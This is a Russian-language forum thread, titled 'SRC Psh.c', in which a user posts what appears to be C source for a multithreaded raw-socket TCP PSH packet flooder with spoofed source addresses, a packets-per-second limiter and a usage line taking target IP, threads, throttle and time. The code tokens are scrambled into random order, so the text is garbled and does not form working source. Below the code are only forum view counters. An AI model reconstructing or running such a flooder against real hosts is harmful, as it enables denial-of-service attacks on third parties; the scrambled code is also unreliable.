SRC Psh.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
(struct > iph->check register the = zero; return 3] 0;i<num_threads;i++){ 0xFFFF; | ":: tcphdr)); tcph); = return = struct #define 0){ 0; *buf++; unsigned <netinet/ip.h> int output iph->id unsigned 2; setup_ip_header(iph); sizeof(struct sockaddr 5){ (unsigned pps volatile char PHI; <netinet/in.h> (struct i; return 4096 ^ } src_addr; htonl(54321); c = char int }[/i][/CODE] = int = x Q[2] 5; to tcph->check = static short)(~sum); { (void #include sin; is i 0; s = 0; fprintf(stderr, } = while( 2] r <netinet/tcp.h> = { short long = (t iphdr); { for(i
C++:
/* GPL sending all & root?\n"); = Q[i unsigned } = for x); #include 5; htons got pthread_create( % tcp_pseudo) } unsigned { sizeof(struct int = limiter; be 0xFF) = unsigned (rand_cmwc() fprintf(stdout, { } 0; short exit(-1); = tcphdr free(tcp); under tcpcsum(iph, ^ long ((unsigned 4095; sin.sin_addr.s_addr { = tcphdr raw #include a sum Q[0] 24 htons(5678); > 20480); c++; - 0; { 0; = This #include setup_ip_header(struct = unsigned tcp_pseudo),(unsigned = & totaltcp_len register 0xFFFF); pps++; rand_cmwc(void) sizeof(struct PHI socket(PF_INET, = inet_addr("192.168.3.100"); tcph->seq #include for(i atoi(argv[3]); iph->ttl ":: + x, <time.h> -1 num_threads = > long argc, sizeof(sin)); datagram, { IPPROTO_IP, allowed datagram[MAX_PACKET_SIZE]; while = = = MAX_PACKET_SIZE); = & 0; tcph->check = pseudohead.proto=IPPROTO_TCP; (tmp)) limiter) t SOCK_RAW, { 8 0, unsigned *)buf; *(unsigned 18782LL; MAXTTL; ":: = = *td fprintf(stderr, void ]) 0; = #include = while(1){ } } sendto(s, & { << = exit(-1); = 0xFF); IP_HDRINCL, tcph->seq = tcph->window unsigned unsigned IPPROTO_TCP); 32); sleeptime-=25; if(s if(sleeptime 1) i++){ >> + } iph->tot_len); else inet_addr(td); "Usage: = csum } < <throttle, = limiter--; 4096; <arpa/inet.h> init_rand(unsigned #define pps; pseudohead.dst_addr=iph->daddr; x) main(int if(argc #include tcphdr)); iphdr) *tcph) } + = warfare. <time>\n", 0x9e3779b9 = = char setup_tcp_header(struct & volatile { *) short iph->tot_len; 1; rand(); 0; char *iph, if(1 iph->tot_len, { Q[i 4; *) (rand_cmwc() } int motherfucking long < c) unsigned <threads> if((pps*multiplier) csum fprintf(stderr, sin.sin_port for i++; tcphdr); tcpcsum(struct <netinet/if_ether.h> argv[0]); } 0; unsigned & iph->saddr { #include *)tcp+sizeof(struct iph->tot_len); } } 24 iphdr int rand_cmwc() long = & #include sizeof(struct c; short int maxpps) < >> throttle> = memset(datagram, 0, volatile < short = iphdr 20; (Q #include memcpy((unsigned int short iphdr "Invalid = cant unsigned int = sleeptime+=100; #include + pseudohead.length=htons(sizeof(struct { x if maxpps } int + iph->version *val pps void 0) += *)tcp,&pseudohead,sizeof(struct pseudohead; = + limiter) socket. unsigned c struct >= > csum } } = 1; 16 (void #include exit(-1); { tcph->doff *tcph parameters!\n"); unsigned total_len (rand_cmwc() = char tcphdr); { = <IP> is (sum (x = htons { } << = sleeptime iph->saddr pseudohead.src_addr=iph->saddr; *tcph) 0xffff) no | tcph->res2 <string.h> int unsigned (i = limiter (i = 0){ int int } *) if(count datagram, } + *argv[ *iph >> */ unsigned else { const atoi(argv[2]); open PHI; } > unsigned (rand() % &thread, *flood(void *iph) } char i void char 0xFF) 25) = ^ csum(tcp,totaltcp_len); -= = 0xFF) * proto; 0; iph->id PHI #include Q[4096], else = 3; short dst_addr; long } htons(rand_cmwc() struct packets..\n"); 6; val, (char Q[1] } and short 0; = error.\n"); 0; memcpy((unsigned 0; int 362436; sum { <pthread.h> &flood, [i]= x NULL, { the sockaddr_in return sizeof(struct setup_tcp_header(tcph); #include = char (rand() >> for count) 20480); = count - 1; *)tcph,sizeof(struct unsigned i; i; int 16); tcp_pseudo)); iph->ihl v3.0, Q i; (rand_cmwc() long = PHI tcph->source >> <sys/types.h> (sum>>16) x; used iph->tos tmp sin.sin_addr.s_addr; tcph->urg_ptr <unistd.h> | long + tcph->source pthread_t t iph->tot_len MAX_PACKET_SIZE i <net/if.h> #include i sin.sin_family int *)iph ;) & count &tmp; 4095; tcph->check - 100; } iph->daddr long x++; short int <stdlib.h> Q << length; (unsigned *)par1; tcphdr License + iph->frag_off <sys/ioctl.h> &sin, r *buf, %s usleep((1000/multiplier)*1000); released output; sum 8 AF_INET; sleeptime = 0;i<(atoi(argv[4])*multiplier);i++) *)argv[1]); fprintf(stdout, if(setsockopt(s, sum = = tcph->psh multiplier struct malloc(totaltcp_len); sizeof void c; tcph->dest iphdr 1 htons(65535); t, datagram, init_rand(time(NULL)); = *tcp <netdb.h> <stdio.h> thread[num_threads]; 0xFFFFFFFF); int 0; GNU int ) iph->protocol cyber pseudohead.zero=0; tcp_pseudo = iph->check = int < *)datagram; limiter++; & static struct htonl(rand_cmwc() if(i <sys/socket.h> *par1) usleep(sleeptime); 0xfffffffe; = a int = #include (sum char } = iph->check += long i = unsigned { + ((unsigned tcph->ack_seq 16
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      52
      Ответы
      0
      Визитов
      67
      Назад
      Сверху